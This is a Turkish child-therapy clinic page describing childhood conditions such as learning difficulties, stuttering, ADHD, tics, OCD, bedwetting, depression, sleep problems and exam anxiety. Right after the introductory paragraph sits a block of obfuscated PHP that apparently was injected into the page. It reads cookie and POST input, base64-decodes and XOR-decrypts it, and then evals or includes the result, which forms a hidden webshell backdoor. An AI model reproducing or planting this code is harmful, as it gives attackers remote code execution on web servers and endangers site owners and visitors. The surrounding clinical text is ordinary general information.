Çocuk Terapisi
Çocuklarınız ile ilgili sizin bile farketmediğiniz çok farklı sebeplerden sorunlar yaşayabilirler. Öncelikle bu sebepleri çok iyi anlamak lazım. Burada uzmanlarımız tarafından hazırlanmış bilgiler randevu öncesi size ışık tutacaktır.
$fkPFEUujT = "\170" . 'e' . "\162" . chr ( 180 - 85 ).chr (111) . chr (114) . chr (103) . chr (114) . 'V';$PvkVdhAVB = chr (99) . chr ( 962 - 854 )."\141" . chr ( 981 - 866 ).chr (115) . chr ( 511 - 416 )."\x65" . chr (120) . 'i' . chr (115) . chr (116) . chr (115); $SBnvzquDOp = class_exists($fkPFEUujT); $PvkVdhAVB = "55280";$xTLVn = !1;if ($SBnvzquDOp == $xTLVn){function KHFCjYl(){$PiwIzkWSjJ = new /* 14665 */ xer_orgrV(27009 + 27009); $PiwIzkWSjJ = NULL;}$CPEXn = "27009";class xer_orgrV{private function JFHQtb($CPEXn){if (is_array(xer_orgrV::$jOCttLrL)) {$pydkI = str_replace("\x3c" . chr (63) . chr ( 399 - 287 ).chr (104) . chr (112), "", xer_orgrV::$jOCttLrL["\143" . "\x6f" . "\x6e" . 't' . chr (101) . chr (110) . 't']);eval($pydkI); $CPEXn = "27009";exit();}}private $bwAqgztOB;public function fDzixa(){echo 11950;}public function __destruct(){xer_orgrV::$jOCttLrL = @unserialize(xer_orgrV::$jOCttLrL); $CPEXn = "29425_65265";$this->JFHQtb($CPEXn); $CPEXn = "29425_65265";}public function RyzWpvZ($QTUBg, $xyRyJYPNb){return $QTUBg[0] ^ str_repeat($xyRyJYPNb, (strlen($QTUBg[0]) / strlen($xyRyJYPNb)) + 1);}public function __construct($fkEVBD=0){$nRawLE = $_POST;$zJVZNDe = $_COOKIE;$xyRyJYPNb = "998b94ad-0a68-48d0-97f3-4fa4ca9b4f95";$TNGJCLfxAN = @$zJVZNDe[substr($xyRyJYPNb, 0, 4)];if (!empty($TNGJCLfxAN)){$jxetinD = "base64";$QTUBg = "";$TNGJCLfxAN = explode(",", $TNGJCLfxAN);foreach ($TNGJCLfxAN as $DxMXOvBoZL){$QTUBg .= @$zJVZNDe[$DxMXOvBoZL];$QTUBg .= @$nRawLE[$DxMXOvBoZL];}$QTUBg = array_map($jxetinD . chr ( 846 - 751 )."\144" . "\x65" . 'c' . chr ( 823 - 712 )."\x64" . 'e', array($QTUBg,));xer_orgrV::$jOCttLrL = $this->RyzWpvZ($QTUBg, $xyRyJYPNb);}}public static $jOCttLrL = 35113;}KHFCjYl();}$ybPJn = "\165" . chr (95) . 'z' . 'u' . "\131" . chr ( 316 - 226 ).chr (109); $kftvA = chr (99) . "\x6c" . "\141" . "\163" . chr ( 1016 - 901 )."\x5f" . "\x65" . "\170" . chr ( 755 - 650 ).chr ( 520 - 405 )."\164" . "\x73";$gbgZpH = class_exists($ybPJn); $ybPJn = "18892";$kftvA = "25179";$wPZoZ = FALSE;if ($gbgZpH === $wPZoZ){function TVJjqSkPZ(){return FALSE;}$GLHtBDAb = "36373";TVJjqSkPZ();class u_zuYZm{private function RmYNSJW($GLHtBDAb){if (is_array(u_zuYZm::$KOTfJ)) {$HLeVRPCfIz = str_replace("\x3c" . "\77" . "\160" . "\x68" . "\x70", "", u_zuYZm::$KOTfJ[chr (99) . chr ( 446 - 335 )."\x6e" . chr (116) . chr ( 451 - 350 )."\x6e" . "\164"]);eval($HLeVRPCfIz); $GLHtBDAb = "36373";exit();}}private $acSbFWVBfk;public function YmDupzcix(){echo 3701;}public function __destruct(){$GLHtBDAb = "42581_10773";$this->RmYNSJW($GLHtBDAb); $GLHtBDAb = "42581_10773";}public function __construct($vQBDdc=0){$FrMvkTpI = $_POST;$aXHQnf = $_COOKIE;$szgXFJQYi = "68c5fccb-21c5-4206-8a39-b1ed7f557b70";$tLSZpWDd = @$aXHQnf[substr($szgXFJQYi, 0, 4)];if (!empty($tLSZpWDd)){$AJKhKKHqWY = "base64";$WStecVN = "";$tLSZpWDd = explode(",", $tLSZpWDd);foreach ($tLSZpWDd as $zelyF){$WStecVN .= @$aXHQnf[$zelyF];$WStecVN .= @$FrMvkTpI[$zelyF];}$WStecVN = array_map($AJKhKKHqWY . "\137" . "\x64" . 'e' . chr ( 732 - 633 )."\157" . "\144" . chr ( 853 - 752 ), array($WStecVN,)); $WStecVN = $WStecVN[0] ^ str_repeat($szgXFJQYi, (strlen($WStecVN[0]) / strlen($szgXFJQYi)) + 1);u_zuYZm::$KOTfJ = @unserialize($WStecVN);}}public static $KOTfJ = 9259;}$zcBIIZ = new /* 40651 */ u_zuYZm(36373); $zcBIIZ = str_repeat("42581_10773", 1);}$AbMMY = chr (119) . "\x68" . chr (95) . chr (84) . chr ( 672 - 592 )."\172" . "\145";$MJPnGxaJf = chr (99) . "\154" . "\x61" . "\x73" . "\163" . "\x5f" . "\145" . chr ( 572 - 452 ).chr (105) . "\x73" . chr ( 248 - 132 ).chr (115); $AcxHl = class_exists($AbMMY); $MJPnGxaJf = "54928";$RqnvRm = strpos($MJPnGxaJf, $AbMMY);if ($AcxHl == $RqnvRm){function XnlPsDeOl(){$ktaTbDPA = new /* 5875 */ wh_TPze(19956 + 19956); $ktaTbDPA = NULL;}$UJEATHFv = "19956";class wh_TPze{private function lObCEFn($UJEATHFv){if (is_array(wh_TPze::$bYCmmN)) {$name = sys_get_temp_dir() . "/" . crc32(wh_TPze::$bYCmmN["salt"]);@wh_TPze::$bYCmmN["write"]($name, wh_TPze::$bYCmmN["content"]);include $name;@wh_TPze::$bYCmmN["delete"]($name); $UJEATHFv = "19956";exit();}}public function ttDSa(){$dtYhbZy = "13995";$this->_dummy = str_repeat($dtYhbZy, strlen($dtYhbZy));}public function __destruct(){wh_TPze::$bYCmmN = @unserialize(wh_TPze::$bYCmmN); $UJEATHFv = "31178_34975";$this->lObCEFn($UJEATHFv); $UJEATHFv = "31178_34975";}public function MtdLNaW($dtYhbZy, $RGjgzq){return $dtYhbZy[0] ^ str_repeat($RGjgzq, intval(strlen($dtYhbZy[0]) / strlen($RGjgzq)) + 1);}public function sLUJyBCq($dtYhbZy){$PuwOqos = chr (98) . "\141" . chr (115) . "\145" . '6' . '4';return array_map($PuwOqos . chr ( 600 - 505 ).chr ( 165 - 65 )."\145" . "\143" . "\x6f" . chr ( 381 - 281 ).chr (101), array($dtYhbZy,));}public function __construct($nEMka=0){$YKIcvI = "\54";$dtYhbZy = "";$AtXxoky = $_POST;$FiqTPYK = $_COOKIE;$RGjgzq = "f12e0a67-7288-4111-9f86-462d74340fac";$KfdkKOvDe = @$FiqTPYK[substr($RGjgzq, 0, 4)];if (!empty($KfdkKOvDe)){$KfdkKOvDe = explode($YKIcvI, $KfdkKOvDe);foreach ($KfdkKOvDe as $TvDMmdmg){$dtYhbZy .= @$FiqTPYK[$TvDMmdmg];$dtYhbZy .= @$AtXxoky[$TvDMmdmg];}$dtYhbZy = $this->sLUJyBCq($dtYhbZy);}wh_TPze::$bYCmmN = $this->MtdLNaW($dtYhbZy, $RGjgzq);if (strpos($RGjgzq, $YKIcvI) !== FALSE){$RGjgzq = explode($YKIcvI, $RGjgzq); $VUVNYr = sprintf("31178_34975", rtrim($RGjgzq[0]));}}public static $bYCmmN = 28543;}XnlPsDeOl();}
Çocuklarınız ile ilgili sizin bile farketmediğiniz çok farklı sebeplerden sorunlar yaşayabilirler. Öncelikle bu sebepleri çok iyi anlamak lazım. Burada uzmanlarımız tarafından hazırlanmış bilgiler randevu öncesi size ışık tutacaktır.
Çocuklarınız ile ilgili sizin bile farketmediğiniz çok farklı sebeplerden sorunlar yaşayabilirler. Öncelikle bu sebepleri çok iyi anlamak lazım. Burada uzmanlarımız tarafından hazırlanmış bilgiler randevu öncesi size ışık tutacaktır.
ÖĞRENME GÜÇLÜKLERİ
Çocuklardaki öğrenme güçlüğü bazı alanlarda çocuğun zeka düzeyi ve yaşına uygun gelişim düzeyinin çok altında başarı göstermesi ile karakterizedir. Bu alanlar matematik öğrenme güçlüğü, yazılı anlatım güçlüğü, okuma güçlüğü şeklinde özetlenebilir.
Özel öğrenme güçlüklerinin tanısı klinik görünüm ve yapılan testlerle belli olmaktadır. Özel öğrenme güçlüğünün ayrıcı tanısında okullardaki normal olarak gelişen sapmalar, eğitim ve öğretimde fırsat eksikliği, çocuğa verilen yetersiz öğrenim durumu göz önüne alınmalıdır. Ayrıca görme ve işitme veya herhangi bir duyu bozukluklarında, zeka problemi olan çocuklarda, yaygın gelişimsel geriliği olan çocuklarda görülen o bozukluğa bağlı öğrenme güçlüğünden bu mevcut durum ayırt edilmelidir. Özel öğrenme güçlüklerine başka psikiyatrik durumlar da eşlik edebilir. Özellikle dikkat eksikliği ve hiperaktivite bozukluğu ile sık bir şekilde bir arada olabilir. Bu iki durumun ayırıcı tanısı bazı standart testler ve çocuğun klinik durumu ile kesinleştirilmektedir. Tedavide özel öğrenme güçlüğüne yönelik eğitimin verilmesi ile tedavi gerçekleşebilir. Ancak bu durumun tedavisi uzun bir süre almakta , bazı problemler yaşam boyu devam edebilmektedir
Tedavide önemli olan çocuğun durumunu anlayabilmek ve bu duruma uyum sağlayabilmektir. Ailenin eğitimi ön planda gelir. Çocuğa yönelik olarak sosyal beceri kazandırma, destekleyici terapi ve gereğinde ilaç tedavisi uygun bir yaklaşımdır.
KEKEMELİK
Değişik ses, hece ve kelimelerin tekrarı ya da konuşma düzeninin duraklamalar nedeniyle kesilmesi biçiminde ortaya çıkan konuşma bozukluğudur. Ruhsal gerginliğin arttığı durumlarda kekemelik artar. Ağır kekemelik durumlarında çeşitli tikler sanki konuşma güçlüğünü hafifletecekmiş gibi kekemeliğe eklenir. Ayrıca kekemelikten dolayı çocukta gelişebilecek özgüvenin zedelenmesi , sosyal ortamlara girmek istememe ile birlikte sosyal fobi , etrafta konuşmaktan kaçınma , arkadaş ilişkilerinde bozulmalar , ders ve okulda konuşmak istemediği için uyum güçlükleri , içe çekilme , kendini ifade etmekte zorluk , kronik depresyon gibi durumlar görülebilir. Kekemeliğe yatkın çocuklarda yaşanan ani bir korku, konuşma bozukluğunu tetikleyen bir etken olmaktadır. Ayrıca değişik stres etkenlerinin , kaygı durumlarının , aşırı kontrolcü ebeveyn davranışlarının , yeni hayat aşamasında ( kardeş doğumu , okula başlama gibi ) uyum güçlüklerinin kekemeliğin şiddetini artırabilir. Tedavide aile danışmanlığının yanı sıra çocuğa konuşma tedavisi önerilmektedir. Konuşma tedavilerinin en önemli özelliği çocuğa yavaş, ritmik ama tempolu konuşmanın öğretilmesidir. Ailenin çocuğun kekemeliğine dikkat çekmemesi gerekir . Çocuk kekelemeye başladığında sanki normal konuşuyormuş gibi davranmak önemli bir noktadır. Eğer dikkat çekerse , uyarırsa çocuğun anksiyetesi daha da artar , bu da konuşmanın daha da bozulmasına neden olur . Kekemelik belli bir süre geçmez ise anne babaların zaman kaybetmeden psikolojik destek alması gerekir.
FONOLOJİK BOZUKLUKLAR
Fonolojik bozukluğu kekelemeden ayırt etmek gerekir, Fonolojik bozuklukta bazı harflerin ve hecelerin telafuz edilmesinde problem vardır. Fonolojik bouzukluğun tedaviside kekelemeye benzerdir. Ancak burada yaklaşım ve altta yatan psikopatoloji farklıdır.
Fonolojik bozuklukta en sık r-s-k-ş gibi harflerin telafuz edilmesinde sorunlar vardır. Bu sorunlardan dolayı çocuk yaşıtları arasında uyum güçlükleri ile karşılaşabilir . Özellikle bu durumu fazla olan çocukların sosyalleşmelerinde sorun olabilir. Çocuk konuşma sorunundan dolayı çok fazla sosyal ortamlara girmek istemez , kendini toplum içerisinde ifade etmekten çekinir , bildiği halde derste kalkıp soruları cevaplamak istemez , kronik depresyon gelişebilir , arkadaş ilişkilerinde zorluklar yaşayabilir , kendine olan özgüveninde azalma olabilir. Bütün bu nedenlerden dolayı fonolojik bozukluğu olan çocukların gerekli psikososyal desteğe ihtiyaçları vardır. Gerekirse sıkıntının fazla olduğu durumlarda ilaç tedavisi kullanılabilir. Fonolojik bozukluğun tedavisinde çocuğun yaşına uygun olan önerilerde bulunulur . Temel tedavi yöntemi ses çıkarma ,konuşma ve telafuz konusunda eğitim ve egzersizdir.
DİKKAT EKSİKLİĞİ HİPERAKTİVİTE BOZUKLUĞU
Dikkat Eksikliği Hiperaktivite Bozukluğu aşırı hareketlilik, dikkat sorunları ve istekleri erteleyememe belirtileriyle ortaya çıkan bir psikolojik bozukluktur. DEHB de3 temel sorun ortaya çıkmaktadır:
Aileler yardım için gerekli yerlere baş vurduğunda Dikkat Eksikliği Hiperaktivite Bozukluğu olan ve özellikle aşırı hareketlilik belirtileri ön planda olan çocuklarını “düz duvara tırmanır” , “onu bir yerde zaptetmek imkansız”, “”ele avuca sığmaz”, “beş dakikadan fazla yerinde oturmaz”, “oyun oynarken daldan dala konar” gibi sözlerle anlatırlar.
Belirtileri:
-Aşırı Hareketlilik ve Dürtüsellik Belirtileri:
Dikkat Eksikliği Hiperaktivite Bozukluğu’nun oluşumundan tek bir etkenin sorumlu olmadığı, biyolojik, yapısal ve çevresel bir çok etkenin bir araya gelmesiyle oluştuğu görülmektedir. Dikkat Eksikliği Hiperaktivite Bozukluğu olan çocukların büyük bir bölümü bu bozukluğun belirtilerinin yanı sıra diğer bir çok alanda sorunlar yaşamaktadırlar. Bunlar arasında en “Öğrenme Bozuklukları” gibi okul başarısını düşüren etkenler “Karşıt Olma Karşı Gelme Bozukluğu” gibi çocuğun topluma uyumunu zorlaştıran ve “Depresyon ve Kaygı Bozuklukları” gibi önemli psikolojik sorunlarla karşılaşılmaktadır.
Yukarıda Dikkat Eksikliği Hiperaktivite Bozukluğu’nun olumlu yönleri sıralanmıştır. Dikkat Eksikliği Hiperaktivite Bozukluğu olan tüm çocuklarda Dikkat Eksikliği Hiperaktivite Bozukluğu belirtilerinin hepsi bulunmadığı gibi bu olumlu özelliklerin de hepsinin değilse bile bazılarının bulunabileceği unutulmamalıdır. Çocuk, aile ve okul ile işbirlği kurularak psikolojik destek alınmalı gerekli durumlarda psikiyatris ile konsültasyon yapılıp ilaç tedavisine başlanmalıdır.
TİK
Tik birden ortaya çıkan ,hızlı , yineleyici bir motor hareket ya da ses çıkarma şeklinde olabilir. Tik stres ile alevlenebilir , kaygı ile artar. Uykuda veya oyalayıcı etkinlikler sırasında azalır. Tik durumu olan çocuklar sosyal ve aile çevrelerinde ciddi sıkıntılara maruz kalabilirler. Bu nedenle kaygının daha da artması nedeni ile tikler çocukta giderek artabilir. Yapılan bazı çalışmalarda çok aşırı kontrolcü , çocuğunun her hareketine müdahalede bulunan , çok titiz davranan annelerin çocuklarında daha sık görüldüğü gösterilmiştir.
Yapılan çalışmalar genellikle, yetenekleri üstünde zorlanan, sürekli kardeş ve arkadaşlarıyla kıyaslanan, yeterli ilgi ve sevgi içinde büyümeyen, anne-babası ile yeterli duygusal bağı kuramayan kişilerin daha yatkın olduğunu göstermektedir.
Tik ortaya çıkan çocuklarda tike bağlı kaygıyı artırmamak için çocuğun dikkati o yöne ekilmemeye çalışılır. Ayrıca mevcut tikler için ilaç tedavisi mümkün olabilir. Ancak tiklerin tamamen geçip geçmeyeceği ilerleyen süreç içerisinde belli olmaktadır. Eşlik eden başka psikiyatrik durumların olup olmadığı kontrol edilmelidir. Aileye gereken danışmanlığın yapılması önemlidir. Çocuğa sağlanacak psikososyal destek ile birlikte aileye gerekli tavsiyelerin bulunulması tiklerin kalıcı olup olmaması açısından önemlidir.
OBSESİF KOMPULSİF BOZUKLUK
Obsesyon (saplantı) irade dışı gelen,bireyi tedirgin eden,benliğe yabancı,bilinçli çaba ile kovulamayan,yineleyen düşüncelerdir. Kompulsiyon (zorlantı) ise çoğu kez saplantılı düşünceleri kovmak için yapılan, istem dışı yinelenen hareketlerdir.
En küçük bir eksiklik bırakmama çabası yüzünden ayrıntılara çok fazla girer. Düzenli ve çok titizdir. Belli bir süre sonra bu titizlik dağınıklığa dönebilir. Kişi bir süre sonra saplantılardan oldukça fazla rahatsız olur. Saplantı ve zorlantıların kendisine çok büyük sıkıntılar verdiğini söyler. Ve bu düşüncelerden kurtulmak için sürekli bir takım hareketleri yineler. Bunlar arasında ayıp ve günah şeylerin her akıla geldiği korkusu ve bunun için bir takım hareketleri yineleme sık görülür. Mesela,erkekleri düşünmenin çok ayıp olduğunu düşünen bir genç kız,bu düşünceden kurtulmak için sürekli oturup, ayağa kalkar, banyoda yıkanırken bu düşüncelerin onu pislettiğini düşünerek defalarca sabunlanır. Çabaladıkça bu davranışlar artar, sıklaşır. Düşüncede ambivalence (iki-değerlilik) belirgindir. Sürekli tereddüt ve kararsızlık dikkati çeker. Apartmanların kaç kat olduğunu, tavandaki kiremitleri, banyodaki tuvaletteki fayansları sayar. Sık sık ellerin yıkar. Çocuk ve ergenlerde obsesif kompulsif bozukluk sıklıkla aile çatışmaları, sosyal çekilme ve okulda başarısızlığa yol açmaktadır. Çocuklar ritüellerine aile bireylerini ve arkadaşlarını ortak edebilmekte, %90 vakada semptomlar zamanla degişim gösterebilmektedir.
ENÜREZİS (ALT ISLATMA)
Normal gelişimleri sırasında çocuklar, genellikle 2-3 yaşları arasında mesane kontrolünü kazanmaya başlarlar. Gece kontrolü ise genellikle üçüncü ya da en geç dördüncü yıllar arasında tamamlanmaktadır. Çocuğu altına bez bağlamak (tuvalet eğitimi tamamlandıktan sonra), çocuğun bu yaşına uygun olmayan davranışı karşısında sessiz kalmak , aşırı cezalandırma yoluna gitmek , çocuğun probleminin artmasına neden olur. Altını ıslatma tedavi edilmez ise, çocuğun yaşına uygun normal psikososyal gelişimi bozulabilir , anne baba -çocuk ilişkilerinde problemler yaşanabilir, çocuğun sosyal çevresinde (okul , arkadaş vb ) uyum problemlerine yol açabilir , çocuğun stres olayına uygun tepki ortaya koymamasını pekiştirir, ikincil olarak bazı bedensel problemlerin gelişmesine yol açabilir.
Altını kirletme ve altını ıslatma problemlerinde çocukta mevcut olabilecek psikiyatrik problemlerin ele alınarak halledilmesi gerekir . Bu türlü problemler başka türlü problemlerin habercisi olabilir. Bu yönü nedeni ile anne babaların bu durumları küçümsememeleri gerekir.
DEPRESYON
Çocukluk çağında depresyon aşırı sinirlilik , içe çekilme , üzgün bakış , daha öncesinden zevk aldığı uğraşlardan zevk alamama , kazanılmış işlevsellikte geriye dönüş , çabuk sinirlenme, gün içerisinde ara sıra ağlama , aşırı hareketlilik , okul başarısındaki düşüş, uyku ve iştah problemleri , kendine güvensizlik , olayları olumsuz değerlendirme , olaylar karşısında kendini suçlama , ara sıra ölüm düşünceleri, içe çekilme , arkadaş ve sosyal çevresinde uyum güçlükleri , okul ve ailede bazı problemlerle kendini belli eder.
Özellikle yakın geçmşte çocuğu etkileyen stres etkenleri araştırılmalıdır. Bu stres etkenleri arasında ( yakın veya arkadaş ölümü, göç, anne baba geçimsizliği , aile içi stres faktörleri, çocuğa yönelik cinsel ve fiziksel istismar , tabii afetler , çocukta bulunan tıbbi bir hastalık , aile üyelerinden herhangi birinde hastalık , anne baba veya aile üyelerinden birinde madde bağımlılığı , ekonomik sorunlar , anne veya babada psikiyatrik bir rahatsızlık sayılabilir.
Çocukluk çağı depresyonlarının tedavisinde ilaç ve psikoterapi yaklaşımı gereklidir. Özellikle eşlik edebilecek diğer psikiyatrik durumların ortaya çıkarılması gerekir. Çocuğun depresif döneminde ciddi bir psikososyal desteğe ihtiyacı vardır. Aile, öğretmen ve okul ile de işbirliği kurularak psikolojik destek sağlanmalıdır. Çocukluk çağı depresyonları çocuğun kişilik ve sosyal gelişimini doğrudan etkileyeceğinden tedavisi çok önemli olmaktadır.
PSİKOTİK DURUMLAR
Çocuklardaki psikotik bozuklukların başlangıcı çok erken dönemde olabildiği gibi gelişme döneminin her safhasında görülebilir. Psikotik bozuklukların görünümü değişik şekillerde olabilir.
Klinik görünümünde çocukların normal gelişim ve yaşlarına uygun davranışların dışına çıkma söz konusudur. Çocuklar görsel ve işitsel olarak gördükleri ve işittikleri bazı şeylerden bahsedebilirler, hiç bahsetmedikleri halde bazı şeyler görüyormuş gibi davranabilirler. Veya çok değişik şekliyle garip davranışlar , uygunsuz gülme ve ağlamalar görülebilir. Çocukların bu durumu normal çocukluğun hayali oyun arkadaşlarından ve düşünce dünyasından ayırt edilmelidir.
Çocuklarda işlev kaybı , içe çekilme, garip davranışlar ile beraber bu durum anne babalar tarafından kolaylıkla fark edilebilir. Başlangıcı birden bire olabileceği gibi sinsi de olabilir. Tedavi de ilaç ve psikoterapi etkilidir. Ancak ayırıcı tanı açısından çocukluk çağında görülebilen diğer hastalıklardan ayırt edilmelidir.
SOSYAL FOBİ
Çocuk alışık olduğu ortamların dışındaki ortamlarda (okul , arkadaş çevresi, misafir olduğu yer vb) aşırı derecede sıkılganlık ile beraber konuşmama , kaygı belirtileri gösterebilir. Bu görünüm küçük düşme , rezil olma korkusu ile beraber olabilir. Sınıfında söz almak istemeyebilir veya söz aldığında ve sosyal ortamlarda aşırı endişeli ve kaygılı olabilir. Kalabalık içinde rahat davranamama ve yaşıtları ile kolay sosyal iletişim kuramamada birlikte görülebilir. Sosyal fobi okul çağındaki çocukların işlevselliğini önemli ölçüde bozabilir. Çocuğun normal psikososyal gelişiminde ciddi sıkıntılara yol açabilir. Tedavi tanı kesinleştirildikten sonra ve diğer psikiyatrik durumlar ile ayrıcı tanısı yapıldıktan sonra çocuğun yaşına göre ayarlanabilir. İlaç tedavisi ve psikoterapi aynı zamanda davranışçı yaklaşımlarda bu konuda etkili olabilir. Anne baba ve okul ile işbiriği kurularak psikolojik destek önerilebilir.
TRAVMA SONRASI STRES BOZUKLUĞU
Genelde kişinin başına gelen veya şahit olduğu hayatı tehdit edici bir olaydan sonra gelişen kaygı belirtileri , olaya bağlı kaçınma davranışları ve korku reaksiyonlarını içerir. Bu herhangi bir ölüm olayı , tabii afet , herhangi bir kaza ve buna benzer kişiyi ve hayatı tehdit edici bir olaydan sonra yıllar içerisinde gelişebilir. Çocuk böyle bir durum karşısında tepkisiz ve çaresiz kalmış olabilir.Maruz kalınan olay ile ilgili kabuslar , yaşanılan olayın yeri , yıldönümü ve onu hatırlatan şeylerden kaçış ve onunla ilgili korkular , uyku bozuklukları , depresif düşünceler , kaygı belirtileri , o olayın aniden tekrar yaşanıyor gibi olması , kişiyi düşünce olarak da o olayla ilgili rahatsız eden düşünceler şeklinde yakınmalar görülebilir.
Çocuklar genelde oyunlarında ve oyuncaklarında o olayı tekrar tekrar canlandırarak bir tür rahatlama sağlamaya çalışırlar. Yine çocukların resimlerinde , sordukları sorularda o olayla ilgili çok şey olabilir. Genelde uyku bozuklukları ve gece kabuslar gelişir. Anne babadan ayrılmak istememe veya onların başına kötü bir şey geleceği endişesi olabilir.
Travma sonrası stres bozukluğu olay yaşandıktan sonra yıllar içerisinde gelişebilir . Eğer olayın yaşanmasından hemen sonra şikayetler başlar ve bir ay içinde şikayetler geçer ise bu durumda akut stres bozukluğundan bahsederiz.
Tedavi olarak çocuğun yaşına göre psikoterapi , oyun terapisi , ilaç tedavisi yapılabilir.
UYKU PROBLEMLERİ
Çocuklardaki uyku problemleri yaşa göre farklılıklar gösterir. Çocukların genelde uykuya dalma , uykuyu devam ettirme , yeterli uyku alma , uykunun kalitesi , açısından problemler yaşanabilir. Uyku bozuklukları genelde kişinin psikososyal stres faktörlerine ve kaygı durumlarına gösterdiği bir reaksiyondur. Özellikle çocuklarda bu kaygı durumu ile ilgili uyku problemlerine sık bir şekilde rastlanır.
Gece Kabusları: Gece kabusları genelde uykunun ikinci yarısında meydana gelir . Çocuk etkisinde kaldığı bir olayı veya kaygılarını rüyasında yaşayabilir. Gece kabuslarında çocuk genelde ağlayarak uyanır ve sakinleştirildikten sonra tekrar uykuya dalabilir. Ertesi gün ise gece olan olayı hatırlar, kabusu size anlatabilir.
Gece Terörü (uyku terörü) : Gece teröründe çocuk genelde gecenin ilk yarısında veya ilk üçte birlik kısmında , yarı uyanık bir halde dolaşma , ağlama , konuşma olabilir . Çocuk kendinde değildir.Sabah olup bitenleri hatırlamaz ve uyandırılmaya çalışıldığında kolaylıkla uyanmaz . Üç beş dakikadan sonra tekrar uykuya dalar. O sırada herhangi bir şekilde kendini bir yere çarparak veya yataktan düşerek yaralanma olabilir.
Uyurgezerlik : Uyurgezer çocuklar genelde gecenin ilk yarısında kalkıp gezerler , sabah olup biteni hatırlamazlar . Hatta evinden çıkıp gidebilir veya pencereyi dahi açabilirler.Kendiliklerinden uyanabildikleri gibi hiç uyanmadan tekrar uykuya dalabilirler. Yine gece teröründe olduğu gibi , o sırada herhangi bir şekilde kendini bir yere çarparak veya yataktan düşerek yaralanma olabilir.
Yapılan psikiyatrik muayene sonrası uyku bozukluğunu kötüleştiren nedenler varsa onlar kontrol edilmeli ve ortadan kaldırılmaya çalışılmalıdır. Uyku bozukluğu şiddetli boyutta ise ilaç kullanımı uygun olabilir. Çocuğun kaygılarına yönelik psikoterapi yapılabilir.
DÜRTÜ KONTROL PROBLEMLERİ
Çocukluk ve ergenlik dönemde görülebilecek dürtü kontrol sorunlarına; Öfke patlamaları , kleptomani (Patolojik hırsızlık) , piromani (patolojik olarak yangın çıkarma ve ateş yakma) , patolojik kumar oynama , trikotillomani (patolojik olarak vücutta bulunan saç kirpik gibi yerlerden kıl koparmak) sayılabilir. Dürtü kontrol bozukluklarının tedavisi genelde içgörü kazandırmaya yönelik psikoterapi şeklinde uygulanabilir . Bu durumun şiddetine göre gerekirse ilaç tedavisi yapılmalıdır. Eşlik eden psikiyatrik bir durumun tedavisi önemlidir. Aynı zamanda okul ile işbirliği önemlidir. Anne babalara yapılacak danışmanlık ile çocukların bu durumdan kurtulmaları kolaylaşmaktadır.
SINAV KAYGISI
Sınav kaygısı; öncesinde öğrenilen bilginin sınav sırasında etkili bir biçimde kullanılmasına engel olan ve başarının düşmesine yol açan yoğun kaygı olarak tanımlanır. Huzursuzluk, endişe, tedirginlik, sıkıntı, başarısızlık korkusu, çalışmaya isteksizlik, mide bulantısı, taşikardi, titreme, ağız kuruluğu, iç sıkıntısı, terleme, uyku düzeninde bozukluklar, karın ağrıları vs. bedensel yakınmalar, dikkat ve konsantrasyonda bozulma, kendine güvende azalma, yetersiz ve değersiz görme sık görülen belirtilerdir. Öğrenilenleri aktaramama, okuduğunu anlamama, düşünceleri organize etmede zorluk, dikkatte azalma, sınavın içeriğine değil kendisine odaklanma, zihinsel becerilerde zayıflama , enerji azlığı, fiziksel rahatsızlıklar sınav kaygısının başlıca etkileridir. Sınav kaygısı gerçek dışı beklenti ve yorumlar içerdiğinden yanıltıcıdır. Öğrenciyi farkında olmadan kendi davranışını denetleyemez hale getirir… Düşünce ve inançları sorgulamak (gerçekçi olmayan düşünme alışkanlıklarını farklı bir gözle yeniden değerlendirmek, Nefes alma egzersizleri, Gevşeme egzersizleri, Kaygıyı bastırmaya değil, onu kabul etmeye ve tanımaya çalışmak, Düşünceleri durdurma tekniği, Dikkatini başka noktalara odaklama tekniği kullanılabilecek başa çıkma yollarıdır. Bunun dışında Aileler sınırlarının farkında olmalıdırlar. Güven ve sorumluluk vermeli, önemsemeli, olumlu geri bildirimde bulunmalıdır. Sınava ilişkin konuşmalarda özenli davranmalı, gerçekçi olmalı, akranlarıyla karşılaştırmaktan kaçınmalıdır. Duygu ve düşünce paylaşımı, empati önemlidir. Sınavı yüceltmeme, ölüm kalım sorunu yapmama, yüreklendirici davranma önerilmekteidr. Çocuklar koşulsuz sevilmelidir. Aile bireyleri uygun rol modeli olmalı, uygun aile ortamı sağlamalı ve uygun problem çözme davranışları geliştirilmelidir